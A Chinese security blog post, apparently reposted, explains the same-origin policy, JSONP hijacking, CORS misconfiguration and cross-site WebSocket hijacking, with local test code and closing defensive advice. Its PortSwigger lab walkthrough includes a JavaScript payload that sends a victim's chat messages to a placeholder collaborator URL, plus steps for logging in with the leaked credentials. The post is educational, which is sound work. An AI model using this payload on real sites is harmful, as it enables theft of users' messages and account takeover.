整饬与雅品同源策略&Jsonp劫持&Cors跨域资源共享&Websocket跨域劫持

admin 2023年1月11日13:37:20评论18 views字数 8652阅读28分50秒阅读模式

免责声明

请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,猫哥的秋刀鱼回忆录及文章作者不为此承担任何责任。由于种种原因,猫哥的秋刀鱼回忆录公众号往后均不发表原创文章,欲转载随附出处即可且无需告会。该文章学习并转载修正自农夫安全同源策略篇:http://book.fsec.io

引入前言

今天真的是身心疲惫,在读完TQ老大这一章的笔记后去portswigger简单看了看,总感觉好累啊,但是一天什么又没干,太容易被他人的情绪所左右了,活的里外不是人。

写毕补充于 1.10 下午18:53

在写这篇文章开始,我其实前言这一块儿憋不出什么狗屁的,我在阅读了一点老外的研究文章,发现他们还是对浏览器安全是情有独钟的,我研究的不算很是深入,但起码我知道浏览器安全的的确确也是一个研究的课题和值得深入的地方,所以想写点什么,我们引入一些东西,方便大家理解。众所周知在浏览器中,保证我们访问数据安全的基础就是同源策略,这个同源策略是由Netscape提出的一个著名的安全策略,现在所有支持 JavaScript 的浏览器都会使用这个策略。实际上,这种策略只是一个规范,并不是说强制要求。各大厂商的浏览器只是针对同源策略的一种实现方式。它是浏览器最核心也最基本的安全功能,如果缺少了同源策略,则浏览器的正常功能可能都会受到影响。打个比方:如果Web没有同源策略,当你登录了先知社区的账号并且打开另一个站点时,这个站点上的JavaScript就可以跨域读取你的先知社区的账号数据信息,这样整个Web就无隐私可言了,这是不被允许的。

我们再可以设想个场景:

在学校中有个班级,班级开放了一个窗口给家长,学生的家长可以通过窗口询问自己孩子的相关信息。班级里面的每个学生都是互不相关、互不影响的单一个体,每个学生和家长都是属于同一家庭,当同一家庭里面的家长来问该家庭的孩子的信息时候,窗口就会给出相应的信息。要是不是同一家庭的家长来问其他孩子的信息,窗口如果不加验证就直接回答,那么孩子的安全就无法保证了。所以只有同一家庭家长和孩子才可以互传信息,这样做就保证了信息传递的安全性。下面我们假设:这个窗口我们想象成我们的浏览器窗口,里面的学生和家长就是一个个单独的网站,而每一个家庭就是同域,这样只有同一个域下的单独的网站之间才能互相传递信息,这样才能保证数据上的安全性,这就是简单的同源策略的作用。这篇文章更像是在科普,我相信在Freebuf中一定有比这更加详细的文章值得大家去学习,我们今天探究的实际上就是个简单的问题:我们的浏览器安全吗?会有相关的漏洞影响着浏览器吗?

我们带着关注和质疑的眼光与学习某一件事,往往带来的意义和结果泛泛深远,当学习知识分享知识是为了流量,热度,名利。很难在某些地方真正的超越外国佬,摸着石头过河不假,关键在一代一代中对传统文化带来的方方面面进行提纯萃取并且改变观念是很难的,希望以微薄之力,分享语言的魅力附带着相关安全知识,安全不能没有人性,不是设备在安全,而是人在安全,纯粹的,而不是和人性糅杂的,开源的,进步的。

写毕前言于 1.10 凌晨1:25

同源策略意何为

我们在前面举了几个例子,但并不能让我们深刻的去认知同源策略的意义。同源策略是指在Web浏览器中,允许某个网页脚本去访问另一个网页的数据,但前提是这两个网页必须有相同的URI主机名端口号,一旦两个网站都满足上述条件,那这两个网站就被认定为具有相同来源。此策略可以防止某个网页上的恶意脚本通过该页面的文档对象模型去访问另一网页上的敏感数据。同源策略对于Web应用程序具有非常特殊且重大的意义,因为Web应用程序广泛的依赖于cookie来维持用户会话,所以必须将不相关的网站之间严格分隔,以防止丢失数据泄露。我们值得注意的是同源策略仅适用于脚本,这意味着某网站可以通过相应的HTML标签访问不同来源网站上的图像、CSS和动态加载脚本等资源。而跨站请求伪造 XSS 就是利用同源策略不适用于HTML标签的缺陷而进行攻击的。

我们可以详细的看这个表格中的信息,去理解同源策略在web浏览器中的一些应用:

URL 结果 原因
http://baidu.com/fuck/other.html 同源 只有路径不同
http://baidu.com/shirt/inn/another.html 同源 只有路径不同
https://baidu.com/1.html 失败 协议不同
http://baidu.com:81/dir/etc.html 失败 端口不同
http://news.baidu.com/dir/other.html 失败 主机不同

Jsonp劫持原理

我们在实际的应用中,肯定是要通过跨域获取资源的。而在跨域的过程中呢,就衍生出来了不同的技术手段。比如JSONP 就是为了跨域获取资源而产生的一种非官方的技术手段(官方的有 CORS 和 postMessage),它利用的是 script 标签的 src 属性不受同源策略影响的特性。看到这里大家会很疑惑,这跟劫持又有什么关系呢?假如一个网站B对网站A的JSONP请求没有进行严格的安全检查就直接返回数据,则网站B便存在JSONP 漏洞,那么网站A就可以利用JSONP漏洞能够获取用户在网站B上的数据。我画一个草图来帮大家加深一下劫持原理的理解。

  • 首先我们假定有一个网站B,我们的用户在这个网站B上注册自己的账户,并保持了一个登录的状态。那么这个网站B上它就包含了这个用户的一些id,name,还有常见的一些邮箱信息等等。并且网站B它是存在一个jsonp接口的。那么用户在访问网站B的时候,这个接口就会返回用户的个人信息。
整饬与雅品同源策略&Jsonp劫持&Cors跨域资源共享&Websocket跨域劫持
  1. 接下来用户通过同一个浏览器,向网站A发送请求的URL
  2. 网站A向用户返回响应页面,响应页面中存在恶意的jsonp回调函数和向网站B请求的script标签
  3. 用户收到响应并解析恶意代码,将回调函数作为参数向网站B发出请求
  4. 网站B接收到请求后,解析请求的URL,以 JSON 格式生成请求需要的数据,将封装的包含用户信息的JSON数据作为回调函数的参数返回给浏览器
  5. 网站B数据返回后,浏览器则自动执行Callback函数将JSON数据回传到网站A的服务器,这样网站A利用网站B的JSONP漏洞便获取到了用户在网站B注册的信息
整饬与雅品同源策略&Jsonp劫持&Cors跨域资源共享&Websocket跨域劫持

测试

编写一个index.php

<?php
header('Content-type: application/json');
header('Access-Control-Allow-Origin:*');
header('Access-Control-Allow-Methods:GET');
header('Access-Control-Max-Age:60');
header('Access-Control-Allow-Headers:x-requested with,content-type');
header('Content-Type:application/json;charset=utf-8');
$jsoncallback = htmlspecialchars($_REQUEST ['jsoncallback']);
$arr = array('a' => 1, 'b' => 2, 'c' => 3, 'd' => 4,'e' => 5);
echo json_encode($arr);
?>

当我们正常访问此页面的内容时,可以看到如下的页面内容:

整饬与雅品同源策略&Jsonp劫持&Cors跨域资源共享&Websocket跨域劫持

随后在同一目录下编辑一个1.html文件

<!DOCTYPE html>
<html>
<head>
 <title>jsonp</title>
</head>
<body>
<script type="text/javascript"
src="https://code.jquery.com/jquery-3.1.1.min.js">
</script>
<script type="text/javascript">
 $.getJSON("http://192.168.31.230/index.php?jsoncallback=1"function(jsonp){
 alert(jsonp.b);
 });
</script>
</body>
</html>

通过访问测试页面发现可以获取到敏感参数

整饬与雅品同源策略&Jsonp劫持&Cors跨域资源共享&Websocket跨域劫持

复现成功的前提是需要具备跨域且请求无token值,在访问网站的时候检测浏览器发出的所有请求。如果发现有callback等关键字段,则将其记录下来并继续访问,检查请求返回的数据。返回数据中存在uid、username等关键字,那么就判定其为疑似的jsonp劫持漏洞,并向服务器发送疑似存在jsonp劫持漏洞的链接地址。这个需要钓鱼利用,危险程度较低,为此用在蜜罐的场景更加的合适。

Cors跨域资源共享

CORS是一种把同源策略放宽的机制,它允许浏览器向跨源服务器,发出 XMLHttpRequest 请求,从而克服了 AJAX 只能同源使用的限制,以使不同的网站可以跨域获取数据。

CORS 定义了两种跨域请求:简单请求 和 非简单请求。

  • 简单跨域请求:使用设定的请求方式请求数据
  • 非简单跨域请求: 在使用设定的请求方式请求数据之前,先发送一个 OPTIONS 预检请求,验证请求源是否为服务端允许源。只有预检通过后才会再发送一次请求用于数据传输。

当发送一个跨域请求的时候,浏览器会首先检查这个请求,如果它是简单跨域请求,浏览器就会立刻发送这个请求。如果它是非简单跨域请求,这时候浏览器不会马上发送这个请求,而是有一个跟服务器预检验证的过程。

CORS 运行机制:在浏览器进行请求时,自动在请求头中添加 Origin 字段,服务端通过验证 Origin 字段来判断请求是否被允许,从而实现浏览器进行跨源访问

整饬与雅品同源策略&Jsonp劫持&Cors跨域资源共享&Websocket跨域劫持

CORS 漏洞:浏览器自动在 HTTP 请求头加上 Origin 字段,服务器通过判断 Origin 字段的值来判断请求是否可以读取本站资源。你可以在portswigger上看到更多关于他的介绍:https://portswigger.net/web-security/cors

字段解释

  • Access-Control-Allow-Origin:该字段是必须的。它的值要么是请求时 Origin 字段的值,要么是一 个 *,表示接受任意域名的请求。
  • Access-Control-Allow-Credentials:该字段可选。它的值是一个布尔值,表示是否允许发送 Cookie。 默认情况下,Cookie 不包括在 CORS 请求之中。当设置为 true 时,即表示服务器明确许可,Cookie 可以包含在请求中,一起发给服务器。这个值也只能设为 true,如果服务器不要浏览器发送 Cookie,删除该字段即可。
  • Access-Control-Expose-Headers : 该 字 段 可 选 。CORS 请 求 时 , XMLHttpRequest 对 象 的 getResponseHeader()方法只能拿到 6 个基本字段:Cache-Control、Content-Language、Content-Type、 Expires、Last-Modified、Pragma。如果想拿到其他字段,就必须在 Access-Control-Expose-Headers 里 面指定。

测试

本地index.php代码改成如下

整饬与雅品同源策略&Jsonp劫持&Cors跨域资源共享&Websocket跨域劫持

访问后如图

整饬与雅品同源策略&Jsonp劫持&Cors跨域资源共享&Websocket跨域劫持

然后我们把1.html中改成如下攻击代码

整饬与雅品同源策略&Jsonp劫持&Cors跨域资源共享&Websocket跨域劫持

代码的意思是通过XMLHttpRequest去访问URL地址,然后将获取到的内容alert出来。如下图:

整饬与雅品同源策略&Jsonp劫持&Cors跨域资源共享&Websocket跨域劫持

许多现代网站使用 CORS 来允许从子域和受信任的第三方进行访问。但是他们的 CORS 实施可能包含错误或过于宽松以确保一切正常,这可能会导致可利用的漏洞。即使是正确配置的 CORS 也会在两个来源之间建立信任关系。如果网站信任易受跨站点脚本 ( XSS ) 攻击的来源,则攻击者可以利用 XSS 注入一些使用 CORS 的 JavaScript 从信任易受攻击的应用程序的站点检索敏感信息。

Websocket跨域劫持

WebSocket 广泛用于现代 Web 应用程序中。它们通过 HTTP 启动并提供双向异步通信的长期连接。WebSocket 用于各种目的,包括执行用户操作和传输敏感信息。实际上,常规 HTTP 出现的任何 Web 安全漏洞也可能与 WebSockets 通信有关。

整饬与雅品同源策略&Jsonp劫持&Cors跨域资源共享&Websocket跨域劫持

WebSocket协议是OSI模型应用层的一种协议,它能够在客户端(浏览器)和web服务器之间以全双工(一种信息可以在两个方向同时循环的通信通道)进行通信。简而言之,它允许创建实时web应用程序,比如即时消息聊天。它克服了半双工通信所造成的延迟,即一次只在一个方向上进行通信,这是迄今为止用于此类应用程序的解决方案的特点。实际上,使用HTTP协议,客户机启动请求并等待响应,这称为事务。每个请求/响应启动一个不同的事务,而WebSocket启动一个具有长生命周期的事务(多个请求/响应)。此外,即使事先没有发出请求,服务器也可以发送数据。

下图说明了WebSocket工作原理:

整饬与雅品同源策略&Jsonp劫持&Cors跨域资源共享&Websocket跨域劫持

客户端通知服务器它要启动WebSocket连接:

GET /chat HTTP/1.1
Host: www.websocket.com:8000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: */*
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Sec-WebSocket-Version: 13
Origin: http://www.websocket.com
Sec-WebSocket-Key: F3K8tSSU8iTVlhenxKqtbw==
DNT: 1
Connection: keep-alive, Upgrade
Cookie: X-Authorization=8jvbphlmk3DG8iXL0F4vraWBA
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket

如果服务器接受连接,它将按以下方式回答:

HTTP/1.1 101 Switching Protocols
Upgrade: WebSocket
Connection: Upgrade
Sec-WebSocket-Accept: ILZpbBQBard/ixWRPPI6UOlh8hY=

可能的攻击和安全风险

虽然WebSockets对于创建全双工通信信道很有用(在现代应用程序中,服务器可能需要在客户端不发出特殊请求的情况下向客户端发送数据,例如在即时消息传递的情况下),但是这种技术没有提供任何特定的安全优势。因此,我们发现了HTTP协议的常见漏洞,有时还具有一些特殊性。以下是针对WebSocket的潜在漏洞和攻击的非详尽列表:

身份验证控制

WebSocket协议没有用于身份验证的本机机制,因此在开发过程中,必须通过cookies、JWT或HTTP(Basic/Digest)身份验证来实现一个干净的解决方案。在渗透测试期间,需要系统地检查是否确实存在身份验证系统,以及是否正确地实现了该系统(无需身份验证即可访问功能)。

授权和授权控制

与身份验证一样,WebSocket协议中没有管理授权的系统(用户只能访问他们应该访问的数据和服务)。这使攻击者能够垂直提升其权限,或以与攻击者相同的权限级别访问用户的数据。在测试期间,将对访问控制进行详细测试,以尝试获得权限提升。

与用户风险相关的输入

用户通过WebSockets输入的数据是攻击的主要原因 – XSS、SQL注入、代码注入等。在使用之前,必须根据上下文使用最合适的方法对所有输入进行清理。

嗅探的风险

通过WebSocket协议的数据传输是以明文方式完成的,就像HTTP一样。因此,可以通过中间人攻击恢复这些数据。为了避免信息泄漏,必须实现WebSocket安全(wss)协议。请记住,正如HTTPS一样,wss并不意味着web应用程序是安全的,它只是通过TLS加密传输数据。

跨站点Websocket劫持(CSWH)

跨站点WebSocket劫持是一种类似于CSRF的攻击跨站点请求伪造. 当服务器仅依赖会话身份验证数据(cookies)来执行经过身份验证的操作时,这两种攻击都可能发生。

对于CSRF,攻击者将请求隐藏在链接或其他元素中,这些元素将在其(经过身份验证的)受害者的屏幕上可见。攻击者会提示受害者单击它来执行隐藏请求所请求的操作。因此,攻击者可以使受害者在不知情的情况下做一些有害的事情。缺点是攻击者无法看到服务器对请求的响应(由于源站策略),这一缺点在WebSockets中已不复存在,因为它不实现源站策略。这使攻击者能够使用受害者的凭据创建全双工连接。

实际上,当WebSocket握手易受CSRF攻击时,跨站点WebSocket劫持攻击是可能的。实际上,双方(客户机/服务器)之间的通信通道是根据打开请求的来源创建的。因此,如果协议更改请求仅基于cookies,则攻击者可以诱捕受害者,在攻击者的服务器上使用其会话发起请求。一旦被困住,攻击者可以在受害者不知情的情况下通过WebSockets与服务器通信。与经典的CSRF一样,攻击者因此可以代替用户执行操作,但也可以读取通过WebSockets发送的服务器消息。为了解决此漏洞,有必要为每个会话添加一个唯一的令牌,该令牌不能被猜测为握手请求的参数.

跨站点 WebSocket 劫持

实验地址:https://portswigger.net/web-security/websockets/cross-site-websocket-hijacking/lab

该在线商店具有使用 WebSockets 实现的实时聊天功能。为了解决实验室问题,使用漏洞利用服务器托管一个 HTML/JavaScript 负载,该负载使用 跨站点 WebSocket 劫持攻击 来窃取受害者的聊天历史记录,然后使用它获得对他们帐户的访问权限。

  1. 单击“实时聊天”并发送聊天消息。

  2. 重新加载页面。

  3. 在 Burp Proxy 的 WebSockets 历史选项卡中,观察“READY”命令从服务器检索过去的聊天消息。

  4. 在 Burp Proxy 的 HTTP history 选项卡中,找到 WebSocket 握手请求。观察请求没有 CSRF令牌。

  5. 右键单击握手请求并选择复制 URL。

  6. 在浏览器中,转到漏洞利用服务器并将以下模板粘贴到“正文”部分:

    <script>
        var ws = new WebSocket('wss://your-websocket-url');
        ws.onopen = function() {
            ws.send("READY");
        };
        ws.onmessage = function(event) {
            fetch('https://your-collaborator-url', {method: 'POST', mode: 'no-cors', body: event.data});
        };
    </script>
  7. 代替 your-websocket-url使用来自 WebSocket 握手的 URL ( YOUR-LAB-ID.web-security-academy.net/chat).  确保您更改了协议 https://wss://.  代替 your-collaborator-url带有由 Burp Collaborator 客户端生成的有效载荷。

  8. 单击“查看漏洞”。

  9. 在“协作者”选项卡中轮询交互。  验证攻击是否已成功检索您的聊天记录并通过 Burp Collaborator 将其泄露。  对于聊天中的每条消息,Burp  Collaborator 都会收到一个 HTTP 请求。  请求正文包含 JSON 格式的聊天消息的完整内容。   请注意,这些消息可能不会以正确的顺序接收。

  10. 返回漏洞利用服务器并将漏洞利用传递给受害者。

  11. 再次轮询“协作者”选项卡中的交互。  观察您收到了更多包含受害者聊天记录的 HTTP 交互。  检查消息并注意其中一条消息包含受害者的用户名和密码。

  12. 使用泄露的凭据登录受害用户的帐户。

视频讲解:https://youtu.be/3__T1JngGIQ

总结

还是要在服务器端和客户端安全地去处理数据,以防止基于输入的漏洞,例如 SQL 注入和 跨站点脚本 。最好的方式就是将通过 WebSocket 接收的数据在两个方向上都视为不受信任,保护 WebSocket 握手消息免受 CSRF 攻击,避免跨站 WebSockets 劫持漏洞,或对 WebSockets 端点的 URL 进行硬编码,当然不要将用户可控制的数据合并到该 URL 中。还有CORS 漏洞主要是由于配置错误引起的。因此预防是一个配置问题。比如以下建议:

  1. 正确配置跨域请求
  2. 只允许受信任的站点
  3. 避免将 null 列入白名单
  4. 避免在内部网络中使用通配符
  5. CORS 不能替代服务器端安全策略

今天就到这儿吧,算是浅浅的水了一篇,也的确收获了不少知识,祝君共勉。

原文始发于微信公众号(猫哥的秋刀鱼回忆录):整饬与雅品同源策略&Jsonp劫持&Cors跨域资源共享&Websocket跨域劫持

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年1月11日13:37:20
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   整饬与雅品同源策略&Jsonp劫持&Cors跨域资源共享&Websocket跨域劫持http://cn-sec.com/archives/1511516.html

发表评论

匿名网友 填写信息